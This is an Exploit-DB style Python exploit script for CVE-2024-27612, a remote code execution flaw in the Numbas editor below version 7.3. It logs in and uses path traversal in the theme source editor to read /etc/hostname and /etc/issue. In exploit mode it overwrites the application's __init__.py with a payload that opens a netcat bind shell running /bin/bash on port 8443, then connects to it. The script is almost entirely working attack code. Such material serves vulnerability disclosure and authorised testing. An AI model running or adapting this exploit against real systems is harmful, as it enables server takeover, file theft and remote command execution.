1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
# Exploit Title: Numbas < v7.3 - Remote Code Execution # Google Dork: N/A # Date: March 7th, 2024 # Exploit Author: Matheus Boschetti # Vendor Homepage: https://www.numbas.org.uk/ # Software Link: https://github.com/numbas/Numbas # Version: 7.2 and below # Tested on: Linux # CVE: CVE-2024-27612 import sys, requests, re, argparse, subprocess, time from bs4 import BeautifulSoup s = requests.session() def getCSRF(target): url = f"http://{target}/" req = s.get(url) soup = BeautifulSoup(req.text, 'html.parser') csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value'] return csrfmiddlewaretoken def createTheme(target): # Format request csrfmiddlewaretoken = getCSRF(target) theme = 'ExampleTheme' boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1' data = ( f'--{boundary}\r\n' 'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n' '\r\n' f'{csrfmiddlewaretoken}\r\n' f'--{boundary}\r\n' 'Content-Disposition: form-data; name="name"\r\n' '\r\n' f'{theme}\r\n' f'--{boundary}--\r\n' ) headers = {'Content-Type': f'multipart/form-data; boundary={boundary}', 'User-Agent': 'Mozilla/5.0', 'Accept': '*/*', 'Connection': 'close'} # Create theme and return its ID req = s.post(f"http://{target}/theme/new/", headers=headers, data=data) redir = req.url split = redir.split('/') id = split[4] print(f"\t[i] Theme created with ID {id}") return id def login(target, user, passwd): print("\n[i] Attempting to login...") csrfmiddlewaretoken = getCSRF(target) data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, 'username': user, 'password': passwd, 'next': '/'} # Login login = s.post(f"http://{target}/login/", data=data, allow_redirects=True) res = login.text if("Logged in as" not in res): print("\n\n[!] Login failed!") sys.exit(-1) # Check if logged and fetch ID usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res) if usermatch: user = usermatch.group(1) idmatch = re.search(r'<a href="https://www.exploit-db.com/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res) if idmatch: id = idmatch.group(1) print(f"\t[+] Logged in as \"{user}\" with ID {id}") def checkVuln(url): print("[i] Checking if target is vulnerable...") # Attempt to read files themeID = createTheme(url) target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.." hname = s.get(f"{target}/etc/hostname") ver = s.get(f"{target}/etc/issue") hnamesoup = BeautifulSoup(hname.text, 'html.parser') versoup = BeautifulSoup(ver.text, 'html.parser') hostname = hnamesoup.find('textarea').get_text().strip() version = versoup.find('textarea').get_text().strip() if len(hostname) < 1: print("\n\n[!] Something went wrong - target might not be vulnerable.") sys.exit(-1) print(f"\n[+] Target \"{hostname}\" is vulnerable!") print(f"\t[i] Running: \"{version}\"") # Cleanup - delete theme print(f"\t\t[i] Cleanup: deleting theme {themeID}...") target = f"http://{url}/themes/{themeID}/delete" csrfmiddlewaretoken = getCSRF(url) data = {'csrfmiddlewaretoken':csrfmiddlewaretoken} s.post(target, data=data) def replaceInit(target): # Overwrite __init__.py with arbitrary code rport = '8443' payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])" csrfmiddlewaretoken = getCSRF(target) filename = '../../../../numbas_editor/numbas/__init__.py' themeID = createTheme(target) data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, 'source': payload, 'filename': filename} print("[i] Delivering payload...") # Retry 5 times in case something goes wrong... for attempt in range(5): try: s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10) except Exception as e: pass # Establish connection to bind shell time.sleep(2) print(f"\t[+] Payload delivered, establishing connection...\n") if ":" in target: split = target.split(":") ip = split[0] else: ip = str(target) subprocess.Popen(["nc", "-n", ip, rport]) while True: pass def main(): parser = argparse.ArgumentParser() if len(sys.argv) <= 1: print("\n[!] No option provided!") print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n") print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty") sys.exit(-1) group = parser.add_mutually_exclusive_group(required=True) group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit') parser.add_argument('--target', help='Target IP:PORT') parser.add_argument('--user', help='Username to authenticate') parser.add_argument('--passwd', help='Password to authenticate') args = parser.parse_args() action = args.action target = args.target user = args.user passwd = args.passwd print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-") if action == 'check': login(target, user, passwd) checkVuln(target) elif action == 'exploit': login(target, user, passwd) replaceInit(target) else: sys.exit(-1) if __name__ == "__main__": main() |